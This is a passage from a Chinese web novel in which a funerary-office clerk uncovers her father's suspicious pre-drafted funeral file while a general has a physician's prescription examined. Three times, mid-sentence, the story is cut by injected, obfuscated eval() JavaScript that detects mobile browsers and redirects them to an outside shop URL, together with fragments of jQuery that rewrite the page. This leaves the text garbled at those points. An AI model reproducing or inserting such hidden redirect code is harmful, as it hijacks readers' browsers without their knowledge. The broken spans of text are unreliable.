这三个字说得极小,但帐中几个人都听见了。霍青忍不住看了宋昭一眼,心里觉得新鲜。军中敢说这位镇北将军听话的人,秦岐大概能排头一个。偏偏宋昭也没恼,只淡淡抬眼。 秦岐立刻收起那点随军医官特有的胆大,干咳一声:“属下是说,将军旧伤多,出门在外,本就该谨慎。宫中饮食虽说有验毒规矩,但入口的东西,总归还是少碰为好。” 宋昭没有接话。 他想起宣政殿里年轻帝王清俊温和的眉眼,想起丞相周惟衡递方子时那副恰到好处的关切,也想起凶礼司灯下那一卷写着“暴病身亡”的底册。所有人都像在做自己该做的事,皇帝关怀功臣,丞相代为传方,太医尽职尽责,连他不饮酒不喝水,也无人强迫。 这场局若真是局,便干净得太过分了,若不是局,又未免巧得叫人恶心。 秦岐将药方收进医册里,道:“属下先回去查。明早之前,给将军一个准话。” 宋昭嗯了一声。 秦岐离开后,帐中只剩宋昭与霍青。外头雨声渐密,打在帐顶上,像细密而急促的鼓点。霍青站了一会儿,终于忍不住道:“将军,那个季掌簿的话,真能信吗?” 宋昭抬眼看他。 霍青忙道:“属下不是说她一定有问题。她若没递那张便条,今日在西郊石桥遇伏的就是您,这一点属下记着。可她知道得太早,也太巧了。她说的那个什么凶礼司底册,听着就不像正经东西。万一她也是被人推出来的呢?” 宋昭没有否认。 “已经派人去查了。”霍青道,“礼部那边、凶礼司那边,还有昨夜传旨的内监,都在查。只是凶礼司那地方平日里不显山不露水,挂在礼部下面,档案又杂,怕是一时半会儿查不干净。” 宋昭垂下眼,指尖轻轻摩挲过案角。季柠的确可疑。可疑得几乎明晃晃写在脸上。她以礼部之名入将军府,量体时看人的眼神不像司制官;她知道西郊路线会出事;她手里有那份所谓预拟丧仪底册;更重要的是,她明明怕得要命,还是一再伸手。 怕事的人若忽然不惜命,要么有所图,要么过不去心里那道坎。 宋昭现在还看不清季柠是哪一种。 “别惊动她。”宋昭道。 霍青点头应下。他知道宋昭的意思。查归查,但不能打草惊蛇。若季柠身后有人,惊了她,便等于惊了那只真正递刀的手。若她真只是误入局中,那在事情没弄明白前,也不能先把人逼死。 霍青退下后,宋昭一个人在帐中坐了许久。 雨声一夜未停。 8. 旧案 而季柠这边就更惨了一些,自从宋昭夜闯凶礼司之后,季柠便觉得自己这两日过得颇有些水深火热。 这倒不是她夸张。凶礼司本就是个晦气衙门,平日里活人不爱来,死人也轮不着自己走进来,最热闹的时候无非是宫里递密旨、礼部传文书,或者哪家王公贵族真咽了气,底下人急急忙忙来回核对礼制。像宋昭那样一个刚从西郊埋伏里全须全尾走出来的镇北将军,大半夜提着一身寒气闯进凶礼司,实在是凶礼司近三年来最不像话的一桩热闹。 而热闹过后,最先倒霉的,通常都是底下办事的人。 天还没亮,季柠正在凶礼司后头那间小值房里打瞌睡。值房不大,靠墙摆着一张旧木榻,榻脚还少了一截,平日里谁值夜谁凑合躺一躺。屋里烧着一只将灭未灭的小炭盆,热气没剩多少,烟灰味倒是不少。季柠裹着一件旧披风,刚闭上眼没多久,门便被人“砰”地一声推开,冷风卷着门外的潮气一并灌进来,吹得她当场一个激灵。 “季柠!”这一声喊得极有气势,奈何尾音里带着点压不住的慌,听着不像上司发威,倒像谁家账房先生半夜撞见了鬼。 季柠掀开眼皮,看见凶礼司主事周谦站在门口,脸色比值房墙角那坛陈年香灰还难看。周主事今年四十上下,生得清瘦,留着两撇修得极仔细的小胡子,平日里最爱讲规矩,走路时连袍角都不许沾灰。他这个人没什么大志向,最大的本事就是把“不关我事”四个字练得炉火纯青。能在凶礼司这种不招人待见的地方平安待上十几年,靠的也不是别的,正是胆小、谨慎、遇事先骂下属。 季柠一看他这副模样,便知道自己要挨骂了。她慢吞吞从榻上坐起来,披风还搭在肩上,头发睡得有些乱,脸上却已经摆出十分乖顺的神色:“主事大人,您怎么来得这样早?” 周谦被她这一句气得险些背过气去:“我怎么来得这样早?我若再不来,等着镇北将军把咱们凶礼司的门再踹一回吗?” 季柠十分诚恳地纠正:“将军昨夜没踹门,他是推门进来的。” “这是重点吗?”周谦抬手指着她,指尖都在抖,“季柠,你长本事了啊。白日里借礼部的名头去将军府,夜里又把镇北将军招到凶礼司来。你嫌咱们这个衙门还不够招人忌讳是不是?你知不知道今早门房来报时,我这心差点没从嗓子眼里跳出来!” 季柠低着头,态度好得不能再好:“下官知错。” “你错哪儿了?” 季柠沉默了一下。 这个问题问得很有难度。她错得多了去了,错在多管闲事,错在递那张便条,错在被宋昭查到凶礼司,错在昨夜手欠压底册时动作不够稳。可这些话显然不能说。她想了想,十分稳妥地答:“错在昨日回衙之后没及时禀报主事大人,让大人受惊了。” 周谦一口气堵在喉咙里,脸色更难看了些。他显然知道季柠在糊弄他,可偏偏这话又挑不出太大毛病。他在门口站了片刻,终于压低声音问:“宋将军到底为什么来找你?” 季柠早有准备,答得不紧不慢:“昨日去将军府核对封赏礼制服制时,有几处旧伤记档写得不够清楚。将军大约是谨慎,夜里想起来,便亲自过来问了两句。” 周谦一脸“你当我傻”的表情。 季柠立刻补了一句:“当然,也可能是将军府的人太谨慎。毕竟昨日西郊刚出事,宋将军眼下看谁都像刺客。下官一个小小掌簿,忽然借礼部名义登门,自然也容易被怀疑。将军来问清楚,倒也合情合理。” 这话半真半假,比纯瞎编要好听得多。周谦脸色稍缓,却仍旧拧着眉。他怕宋昭更怕宫里,最怕的就是自己什么都不知道却被牵连进去。好在宋昭昨夜来得隐秘,没惊动太多人,只是门房远远看了一眼,今早才报到他这里。否则一旦传出去,礼部问责下来,他这个凶礼司主事第一个逃不掉。 他盯着季柠看了半晌,见她一副低眉顺眼、任打任骂的样子,火气稍稍压下去些,转而换成了官腔:“季柠,你在凶礼司多年,应该知道咱们这里最要紧的是什么。” 季柠道:“少说,少问,少惹事。” “你还知道!”周谦冷笑一声,“既然知道,就别成天给我往刀口上撞。宋将军是什么人?那是手握重兵的镇北将军。宫里这些日子又接连递了两回密旨,你但凡脑子还在,就该知道这里头水深得很。你倒好,白日里往将军府跑,夜里还让人找到凶礼司来。” 季柠心说,那也不是我让他来的,是他自己查来的。可这话说出来只会挨更多骂,于是她闭嘴,十分识趣地继续认错。 周谦骂了半盏茶,终于骂累了。他端起桌上那盏冷茶,刚抿一口,脸色又皱成一团,显然嫌弃茶凉得像隔夜洗笔水。他把茶盏重重一搁,道:“从今日起,你去乙字号库整理旧案。” 季柠一听,整个人都僵了一下。 乙字号库,凶礼司里最不招人待见的地方,没有之一。 那里存的全是十年以上的旧案,卷宗受潮、虫蛀、缺页、错签、重复誊录,什么毛病都有。平日里若不是上头查档,根本没人愿意往里钻。整理旧案更是凶礼司约定俗成的苦差,谁犯错谁去,谁倒霉谁去。那地方灰大、味重、冷得厉害,待上半日出来,整个人都像刚从棺材底下爬出来。 季柠觉得自己还能抢救一下:“主事大人,乙字号库不是前些日子刚漏过雨吗?” 周谦面无表情:“所以才要整理。” “下官这几日还有安王府旧档要誊。” “挪后。” “礼部那边常书吏昨日还托我——” “让他自己誊。” 季柠沉默了。 周谦终于觉得心气顺了点,拂袖道:“三日。三日之内,把乙字号库里近二十年的暴病类旧案全都拣出来,缺页补录,错签重排。若再让我听见你和将军府有什么牵扯,你就去丙字号库整理无名尸案。” 这威胁实在太狠。季柠当即低头:“下官这就去。” 周谦走后,值房里终于安静下来。季柠坐在榻边,望着门口晃了晃的帘子,半晌才长长叹了口气。她觉得自己这辈子最不该做的,就是在西郊石桥这件事上心软。心软一回,先是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548092|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被宋昭怀疑,再是被主事责骂,如今还要去乙字号库里和一堆发霉旧案相看两厌。 她烦躁地揉了揉眉心,起身往乙字号库去了。 乙字号库在凶礼司最偏的一角,门常年半锁着,钥匙挂在周谦那里。库房外头种着两株老槐树,枝干歪斜,叶子落了一地,风一吹便贴着青砖滚来滚去。季柠开门时,门轴发出一声令人牙酸的长响,随即一股旧纸、霉味和湿木头混在一处的气息扑面而来,熏得她当场后退半步。 她捂着鼻子站在门口,低声道:“真是阴德都积在这里了。” 库房里光线很差,只有墙上高处开了一扇窄窗,晨光从窗缝里斜斜照进来,落在成排木架上。架上堆满卷宗,红绳褪成暗褐,签条卷边,有些纸页受潮鼓起,像一张张皱巴巴的死人脸。地上还摆着几只未开封的旧箱,箱角生了霉,铜锁也锈得发绿。季柠点了两盏灯,挽起袖子,认命地从最外头一架开始翻。 周谦指定的是近二十年的暴病类旧案。 这几个字听起来不多,翻起来却能要人半条命。凶礼司旧档分类混乱得很,暴病有时归病故,有时归急亡,有时又因为死者身份特殊被归进宗亲大丧或勋贵旧例里。季柠翻了一个时辰,手上已经沾了一层灰。她先拣出祁国公、安平侯世子、太常寺卿这几份昨夜看过的,又陆续翻出几卷相似案子。 这些“暴病”旧案,表面上看都规规矩矩。可若把这些卷宗摊开并排看,就会发现它们太像了。太医院救治不及,丧仪从简,不惊旧部,不大举停灵。每一件都像独立的意外,可放在一起,便像有人照着同一张模子,给不同的人盖上了不同的名字。 季柠坐在满地卷宗里,越看越觉得后背发凉。 她昨夜对宋昭说“别喝药”,其实还只是凭直觉和旧档里的冯嵩。可如今看来,事情或许比她想得更深。暴病这个死因,太适合用来遮掩了。一个人只要病得足够突然,死得足够及时,许多本该被追问的事便都能随着棺盖一并合上。 她正想着,手边一只木箱忽然卡了一下。箱盖没完全合严,里头露出一截褪色的蓝签。季柠伸手把它抽出来,吹开上头积灰,才发现那是一批没有入正架的散档。旧案里常有这种东西,或是当年誊录到一半被废,或是案子后来改了名目,正册收走,残页便扔在箱底无人管。 季柠本想随手放到一边,目光却在扫过签条时停住了。 签条上写着:景和九年,暴病类,未归正册。 景和九年。 她父亲出事那一年。 季柠的手指忽然紧了紧,她慢慢把那一卷抽出来。纸页已经泛黄,边角有虫蛀的细洞,红绳松垮垮地缠着。季柠解开绳结,翻开第一页,起初只是些寻常名录。某宗亲,某侍郎,某勋贵旁支,字迹有些潦草,大约是当年未定稿的草录。她一页页翻过去,动作越来越慢。 直到某一页,她的手忽然停住。 那一行字写得不算大,甚至被墨迹晕开了一点,可季柠还是一眼认了出来。 ——礼部员外郎,季怀川。 她父亲的名字。 9. 父亲 季柠坐在乙字号库的旧档堆里,盯着“季怀川”三个字,许久没有动。 库房里的灯火被风缝吹得摇摇晃晃,光影落在泛黄的纸页上,将那行字照得一会儿清楚,一会儿模糊。窗外老槐树的枝叶还在拍打窗棂,沙沙声细而密,像有人在暗处翻动一卷又一卷旧纸。乙字号库常年不见天日,墙角积着潮气,木架上的卷宗带着一股发霉的陈旧味道,季柠以前最烦这个地方,觉得在这里多待半刻,连人都要跟着旧档一起发黄。 可现在,她忽然觉得这满屋旧纸都像活了过来。 她父亲的名字,就这样无声无息地躺在其中一卷被人塞进箱底的旧档里。 季柠的父亲季怀川,曾是礼部员外郎。 说起来并不是什么显赫官职,放在京城这种地方,随手往朝堂上一扔,怕是连水花都溅不起来。可在季柠小时候,父亲却是她见过最厉害的人。他每日天不亮便出门,夜深了才回来,身上总带着礼部案牍与墨香混在一起的气味。那时候季柠还小,常常趴在书案边看他誊写礼册,看他一笔一画写下那些她还认不全的字。父亲的手很稳,写字的时候背挺得很直,灯光照在他侧脸上,温和却认真。 他不是那种会在外头高声谈论朝政的人,也不爱同人争长短。季柠印象里,父亲总是很忙,忙着核旧制,忙着校礼文,忙着把那些繁琐到令人头疼的规矩一条条理顺。母亲有时心疼他,说礼部那么多人,何必样样都亲自过目。父亲却总是笑,说礼之一字,看着是排场,其实关乎的是人的体面,也关乎的是安稳,错不得。 那时候季柠不懂。 她只觉得父亲说这话时很威风。 后来父亲病倒,家里人都说是积劳成疾。那年冬日格外冷,季怀川从礼部回来后便发了热,起初谁也没当回事,只说他这些日子熬得太狠,歇一歇就好。可那一病来得急,来得凶,不过数日人便迅速瘦了下去。季柠那时还没如今这样会看人脸色,只记得屋里一日比一日安静,药味一日比一日重,母亲总在内室哭,府中来往的人也越来越多。 最后父亲还是没能熬过去。 礼部来人吊唁时,说的是积劳成疾,英年早逝。凶礼司也按规矩走了丧仪流程,棺椁、停灵、祭文,一切都平稳得没有半点差错。那时季柠年纪尚小,只知道自己心里空了一块。等后来长大些,她才慢慢明白,所谓体面,不过是把所有不体面的慌乱、恐惧和不甘,都规规矩矩地装进棺材里,再盖上一层漂亮说辞。 可她还是很崇拜父亲。 所以后来朝廷开女官选试,季柠几乎想也没想就去了。她知道自己没什么显赫靠山,也没多大的志向,可她想进礼部,想坐到父亲曾经坐过的案前,想知道那些被父亲认真对待过的礼册,究竟有什么值得他熬到油尽灯枯。 她考得不算轻松。 京中肯让女子入官署的地方本就不多,礼部更不是什么好进的地方。可她到底还是进来了,先在礼部做最琐碎的抄录,再被分到凶礼司。旁人听见凶礼司三个字,多少都要避讳两句,季柠倒没什么不情愿。她觉得这地方虽然晦气,好歹也算和父亲当年做过的事沾一点边。 这些年,她在礼部过得不算差。 说不上风光,却也没受过太多难为。周主事嘴上刻薄,真遇上麻烦时,也会把她往后藏一藏;常书吏爱同她讨价还价,可每回有跑腿送文书的活,也会顺手替她挡掉最麻烦的几趟;礼部里一些年长些的旧吏,偶尔见了她,还会叹一句“怀川兄当年是个仔细人”。季柠知道,这其中有她自己会做人、嘴甜、手快、从不争功的缘故,但也有不少是因着父亲生前留下的那点薄面。 季柠用力眨了眨眼,将眼泪按回眼眶中,低头重新去看那份旧档。 纸页年代久远,边角已经发脆,手指稍重一些便会留下细小的裂痕。她小心地把那一页铺平,又将灯盏往近处挪了挪。火光贴着纸面滑过去,照出上头一行行被岁月洇开的墨迹。 礼部员外郎,季怀川。 死因,暴病身亡。 这几行都不奇怪。 父亲当年确实是礼部员外郎,也确实以暴病之名入葬。若只是死后由凶礼司按规制补录旧案,这卷宗出现在此处,最多算分类混乱,不算太离谱。可问题是,往后再翻,底下竟然还压着一份预拟底档。 季柠的呼吸微微一顿。 凶礼司所谓预拟丧仪,从来不是人人都有的东西。王公贵族需要,因为他们死得太突然会乱礼制;朝中重臣需要,因为他们身后牵扯着谥号、哭灵、发丧路线、朝廷体面;镇北将军宋昭这种手握重兵的人也需要,因为他若真有不测,边军、朝堂、皇帝、民心,全都得有人提前算好。 可季怀川不需要。 他只是一个礼部员外郎。 哪怕死后丧仪由凶礼司经手,也该是人没了之后,按官阶、家世、旧例正常走流程。用什么棺木,停灵几日,祭文怎么写,这些都能现翻旧制,绝不至于在他还活着的时候,便提前单独拟一份底档。 季柠慢慢翻开那份预拟底档,它被人压在未归正册的散档里,被浓墨涂去了一大段事出经过,像是有人想毁掉它,又不知为何没有毁干净,只能把它扔进乙字号库最不起眼的箱底,让它和一堆发霉旧纸一起慢慢烂掉。 前半部分的规制写得很简单,甚至称得上潦草。棺椁从简,停灵一日,礼部不大举吊唁,凶礼司只按寻常官员旧例行事。若不是预拟两个字太刺眼,这份底档几乎像一份普通得不能再普通的死后流程。 季柠这些年看过无数底册,最清楚一份文书真正奇怪的时候,并不一定是它写得多可怕,而是它故意写得太像没事。父亲这份预拟底档,就是这样。它没有张扬的规格,没有复杂的哭灵名册,也没有堂皇的发丧路线,像是一个微不足道的小官暴病之后,被礼制轻轻一盖,便能不留痕迹地送出京城。 季柠的目光落到落款处。 景和九年,十月初七。 她手指骤然一紧。 她记得清清楚楚,父亲是在十月初十那天生病的。 也就是说,这份预拟底档,在父亲病倒前三日便已经写好了。 季柠坐在灰尘与旧纸之间,只觉得耳边忽然安静下来。外头的风声、树叶拍窗声、远处官署里隐约传来的脚步声,全都像隔了一层厚厚的水。她低头看着那个日期,胸口一点点发紧,像有什么东西从多年前那间病气沉沉的内室里重新爬了出来,带着药味、哭声和未说完的话,死死攥住了她的喉咙。 父亲不是病倒之后,才进了凶礼司的预案,是在他病倒之前,有人便已经替他写好了丧仪。 季柠闭了闭眼,逼自己冷静下来。 越是这种时候,越不能乱。她在凶礼司待了六年,见过太多人死后被写得干干净净,也见过太多旧档里藏着改动痕迹。她知道只凭一个日期,什么都说明不了。也许是誊录时写错,也许是后来补档时填错,也许…… 她想到这里,自己都笑了一下。 笑意很淡,也很冷。 她以前最会拿这些话糊弄自己。什么写错了,归错类了,旧档缺页了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548093|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可宋昭那份底册已经摆在眼前,西郊石桥的埋伏已经发生,暴病身亡的第二份底册也已经递来。再回头看父亲这份档案,若还要强行说是巧合,那便不是谨慎,是蠢。 季柠继续往后翻。 后头几页破损得厉害,很多字被水汽浸过,墨迹糊成一片。她只能把灯靠得更近些,一点一点辨认。事出经过那一栏被浓墨划去大半,可墨迹底下残留的字并非完全看不见,细看能发现那一段被涂抹前似乎还有别的内容。 她取来一张薄纸,轻轻覆在原页上,用细炭沿着墨迹轮廓一点点擦过去。这是凶礼司旧吏常用的法子,遇到墨色洇散的残页,偶尔能拓出些底下的笔画。季柠手很稳,哪怕指尖已经冷得发僵,也没有抖一下。 过了许久,薄纸上渐渐浮出几行断续的字迹。 “……奉命重拟……” “……不入正册……” “……冯嵩验……” “……此案不可外泄……” 季柠盯着那几行字,心跳一点点沉了下去。 冯嵩。 又是冯嵩。 三年前祁国公府的暴病旧案有冯嵩,如今宋昭的第二份底册里也有冯嵩,而父亲景和九年的旧档里,竟然也有这个名字。 如果说一次是巧合,两次是蹊跷,那三次便是有人把同一根线,明晃晃地摆到了她眼前。 季柠慢慢把那张薄纸收起,夹进袖中。她不敢把原档拿走,乙字号库虽然混乱,可旧档一旦少了,总会留下痕迹。她只能把父亲那卷重新缠好,暂时放回箱中最底层,又抽了几卷无关紧要的暴病旧案压在上头。 做完这些,她才发现自己的掌心全是冷汗。 库房里仍旧昏暗,灰尘在灯火中缓慢浮动,像无数极细小的亡魂。季柠站在木架之间,忽然觉得自己这六年像是一直在一间巨大的屋子里睡觉。她每日誊录,归档,写祭文,给别人安排身后事,自以为看清了这里的晦气和规矩,却直到今日才发现,自己脚下的地砖底下,也许早就埋着父亲的旧案。 而她竟然一无所知。 就在这时,库房外忽然传来脚步声。 季柠猛地抬头。 那脚步声并不重,却来得太突然。乙字号库平日里少有人靠近,周谦才罚她来整理旧案,按理不会这么快又派人过来。季柠迅速把桌上的薄灰抹乱,又将几卷旧档摊开,装作还在整理的样子。 门外有人停住,随即,常书吏的声音从外头传来,带着几分压低的急促:“季掌簿,你在里面吗?” 季柠微微松了口气,却没有完全放下戒心。她走过去拉开半扇门,只见常书吏站在门外,怀里还抱着一摞礼部文书,脸色有些不大好看。 “常大人?”季柠看了他一眼,“你这副样子,怎么像被人追债?” 常书吏没心情同她贫嘴,往她身后的库房看了一眼,压低声音道:“我刚才去正值房送文书,听见一件事。” 季柠心里微微一沉:“什么事?” 常书吏道:“太医院冯院判,今日午后要来礼部调旧档。” “调什么旧档?” 常书吏脸色更古怪了些:“说是要调这几年的暴病类旧档,拿回太医院研究。” 季柠指尖骤然收紧。 常书吏还在低声说着什么,可她已经听不太清了。她只觉得库房里那股旧纸霉味忽然变得浓重,浓得几乎令人喘不过气。 冯嵩要来调暴病旧档。 而她父亲那份被藏起来的预拟底档,就在她身后的箱底。 10. 调档 “冯嵩这人平日里不大与同僚来往,性子孤,话也少,除非陛下点名或宫里有急召,否则他不是在太医院值房,就是在自己住处翻医书,很少去外头应酬。太医院几个年轻些的医官提起他,倒都说他脾气怪,不好亲近,可医术确实高,所以这些年很受器重。尤其针灸和调旧伤这一道,宫里和朝中勋贵都认他的手。” 霍青见他神色没什么变化,便又接着往下说:“属下还查了他近几年的出入。他几乎不出宫,也不常上别府看诊,除非圣上或者丞相府那边点名,他这个人稳妥得很。”说到这里,霍青自己都觉得这个形容不大像他会说出来的话,摸了摸鼻子,又补了一句,“反正看上去,不像那种会掺和朝堂烂事的人。” 帐中安静了片刻,只听得见外头操练的号角声由远及近,一层层压过来,又在军营上空散开。雨后的天色仍旧发灰,光透进帐中时便显得很淡,把宋昭脸上的轮廓压得越发冷硬。他的目光重新落回案上的药方,停了一瞬,又缓缓移开。 “季柠那边呢?”他问。 霍青神色微妙地变了变。 比起冯嵩,这位凶礼司的季掌簿显然更叫他头疼。倒不是因为她多难查,而是因为她太像一个正常人了。正常得甚至有些过分。宋昭前夜才下令去查,昨夜底下人递回来的消息便杂七杂八凑了一摞,礼部、凶礼司、值房旧吏、门房书吏,甚至连常给礼部跑腿的人都能随口说她几句。 霍青把一张誊好的小册递到宋昭案前,语气里带了点说不出的复杂:“季柠,今年二十一,礼部旧员外郎季怀川之女。她父亲病故后,家里境况平平,她自己考了女官,一开始在礼部做最底下的抄录,后来才调去凶礼司。入官署这几年,算不上特别出挑,可也不惹人厌。礼部那些人提起她,大多都说她嘴甜手快,会做人,也会看人脸色。哪儿有旧档难抄、哪儿有差事没人愿意跑,她若在场,多半都会笑嘻嘻地接过去,回头再想法子从别处把人情讨回来。” 说到这里,霍青停了停,像是自己也觉得这说法太轻飘,不像在讲一个同镇北将军死局扯上关系的人,于是又补了一句:“还有,说她圆滑是真圆滑。属下问了几个人,人人都说她脾气好,谁都不得罪,连周主事那种出了名怕事的人,对她也算睁一只眼闭一只眼。礼部几个老吏还提过,她父亲生前为人仔细,留了些旧交情,所以这些年也有人照应她。总之……大家都挺喜欢她。” 宋昭没立刻说话,只低头翻开那册誊录。纸上字迹工整,将季柠这些年在礼部和凶礼司的履历写得一清二楚。考入女官,入礼部,抄录旧档,后调凶礼司。行事稳,嘴也甜,不争功不冒头。若不是西郊石桥这件事忽然横出来,这样一个人在朝中实在平常得很。平常得像是放进人堆里,转头便会忘了她。 可就是这样一个人,偏偏在他那份写得分毫不差的底册前伸了手,偏偏知道西郊石桥会出事,也偏偏在凶礼司里压着第二份“暴病身亡”的底册,让他撞了个正着。 宋昭把那册子轻轻放回案上,声音带了点淡淡的冷意,“她若真只是个圆滑会做人的掌簿,倒也罢了;可若这副人人都喜欢的模样也是装出来的,那她比冯嵩更麻烦。” 宋昭没有再继续这个话题,只将目光投向帐外。晨雾已散了大半,营中操练声越来越齐,远处的号令像一阵阵冷风穿过军帐。北营还是那个北营,刀枪、泥水、军报一切都和从前一样。可自从那份底册出现在凶礼司,这些再寻常不过的东西背后,便仿佛都藏了第二层影子。 这时外头传来秦岐的声音:“将军,属下求见。” 他来得比平日更早,声音里还带着一夜未睡的微哑。 秦岐掀帘入帐时,眼下果然带着淡淡青色,手里拿着那张折了几折的药方,另有一卷翻得边角微卷的医册。他大概是一夜没睡,衣袖上还沾着一点药渣和墨迹,进门后连礼都行得有些潦草,径直将方子摊到案上。 “属下研究了一整夜。”秦岐开口时,语气难得没了平日的絮叨,反倒显得十分郑重,“这副方子,确实没有问题。” 霍青正好也在帐中,闻言立刻皱眉:“一味药都没问题?” “单看药方,一味都没有问题。”秦岐点了点头,指着方子上的几味药道,“独活、桑寄生、秦艽、杜仲、川芎,都是祛风湿、通经络、养筋骨的药。配伍也稳,药量不重不轻,没有猛攻之意。若将军旧伤逢雨天痒痛、筋脉发僵,这方子确实可以缓解一二。冯院判这张方子,开得很漂亮。” 说到最后几个字时,秦岐的语气甚至带了点医者看见好方子的实事求是。 见宋昭没有表态,秦岐迟疑片刻,还是问:“将军,既然方子无碍,是否要按方煎煮服用?您的旧伤确实该调。昨夜落雨,今晨右肋那处恐怕又疼了吧?” 宋昭没有立刻回答。他抬手按了一下右肋旧伤的位置。那里确实隐隐发沉,不算疼得厉害,却像有一根冷线埋在骨缝里,随着天色与雨气一点点收紧。这样的旧伤他早已习惯,北境风雪里熬过来的伤,京城几场雨自然也不可能轻易养好。 宋昭将那张方子重新折好,递回秦岐手中:“不用,先收好别外传。” 秦岐皱眉:“不用?” 秦岐显然还有话想说。他作为医官,自然更在意宋昭那一身旧伤。眼下有一副确实合适的方子摆在面前,却不用,对他来说难免可惜。可他看见宋昭的神色,话到嘴边又咽了回去。 “行吧行吧,唉,人老了说话不中用咯。”秦岐将方子收入医册,临出帐前又回头看了宋昭一眼,似乎还想劝一句旧伤不可久拖。可看见宋昭低头翻开军报的样子,到底什么都没说。 与此同时,乙字号库里,季柠已经觉得自己的心跳快得有些不像话了。 常书吏站在门口,压低了声音把那句“冯院判来调暴病旧档”说完,脸色便更不好看了些。 乙字号库原本就闷,这会儿更像有人把门窗都关死了,空气沉沉压下来,压得人胸口发堵。她方才才在箱底翻出父亲的旧档,还没来得及把思绪理顺,冯嵩便要来调这几年的暴病旧案。这事若说是巧合,那老天爷未免也太会挑时候了。 可慌归慌,季柠脸上却一点都没露出来。她甚至还抬手拍了拍袖口上的灰,慢吞吞道:“常大人,你去前头替我拖一拖,就说乙字号库旧档多年受潮,案子又杂,我这里得先拣一遍,免得把发霉烂页的东西直接端到冯院判跟前,回头人家嫌礼部办事粗糙。” 常书吏犹豫了一下,却到底还是转身去了。他走后,乙字号库里重新安静下来。窗外天色渐渐高了,光从窄窗斜斜照进来,将一排排旧档的影子拉得很长。季柠吸了口气,立刻蹲下身,把方才翻出来的几卷旧案一并拖到脚边。她不再像先前那样慢慢看,而是极快地翻页、辨认、记下名字。 季柠脑子转得飞快,手上却稳得很。她找来一张废弃的旧签条,用最细的笔在背面飞快记下几个名字,又记了年份、死因和大致卷号。她不敢誊得太全,只能记足够自己回头认出来的东西。字越写越小,像一串被人硬生生按进纸里的针脚。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548094|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >写完之后,她把签条对折两次,夹进了袖口里。 至于父亲那卷,她没有再放回箱底最深处,而是悄悄抽出来,压进一摞已废弃的旧簿中间。那堆旧簿原本是前些年周谦说要腾地方、却一直没来得及清出去的,全是礼部不要、凶礼司也懒得管的废纸。把一卷旧档藏在里头,不会太显眼。 她做完这一切时,背后已起了一层细汗。春日未暖透,乙字号库里本该发冷,可她只觉得后颈有些热,像是有人正隔着一排排木架盯着她看。 她慢慢直起身,正要把剩下几卷冯嵩相关的旧档理到一处,门外便传来脚步声。 这回不是常书吏那种轻飘飘、带着点心虚的步子,而是极稳、极静,落地时几乎不带多余声响。像是一个常年走在药柜和病榻之间的人,早把身上的力气都收进了脚底,连衣袍拂过门槛都轻得很。 季柠心里一沉,抬头望去。 门被人从外头轻轻推开,一个瘦削的中年男人站在门口,身着太医院常服,衣色素净,袖口收得整整齐齐。他生得并不出奇,眉骨略高,眼窝偏深,脸色带着久不见日光的苍白,像一张长期放在药柜深处的纸,薄而干净。唯有一双手,指节分明,连指甲都修得极短,叫人一眼便能看出这是个常年同药材和针具打交道的人。 他站在门口,并没有立刻进来,只先看了一眼库房里满地摊开的卷宗,随后才把目光落到季柠身上。 “季掌簿?” 季柠压下心口那点发紧的凉意,脸上已经重新挂上了平日里那副再温和不过的笑:“正是下官。冯院判来得倒快,常大人才刚去前头回话,下官这里还没来得及彻底理顺。” 冯嵩没接她的客套,只缓缓走进来,脚步停在离她两步远的地方。近了些,季柠便闻见他身上有一股极淡的苦药气,像是长久浸在衣料里的习惯,不是刚沾上的。 冯嵩开口,声音比她想象中还要平:“有劳季掌簿了。” “院判大人客气。”季柠一边说,一边不动声色地将脚边那几卷摊开的旧案往自己这边拢了拢,“乙字号库多年没彻底清过,旧案混着散档,不先理一遍,翻出来也耽误工夫。院判大人若不急,不如先在外头稍坐片刻,下官很快便能把卷宗拣出来。” “无妨。”他说,“我等。” 季柠脸上的笑没变,心里却轻轻沉了一沉,只得低头继续翻档。她动作不快不慢,看上去像真在替太医院整理旧案,实则心思全吊在身后那堆被她压住的废簿上。她能感觉到冯嵩站在那里,几乎没动,像一根安安静静钉在门边的针。库房里一时只剩翻页声和纸页摩擦的细响,连窗外风声都显得远了。 过了片刻,冯嵩忽然开口:“季掌簿入凶礼司几年了?” 季柠手上不停,答得很自然:“六年了。” “六年。”冯嵩的语气没什么起伏,“那对旧档应当很熟。” “熟不敢当。”季柠笑了笑,“无非是待得久了,哪一架上灰厚,哪一架上虫子多,心里多少有个数。” 冯嵩没再说话。 季柠却并未因这片刻安静而松快,她将那几卷无关紧要的暴病案先拣了出来,平码在一旁。刚把最后一本放下,冯嵩的目光便落了过去。 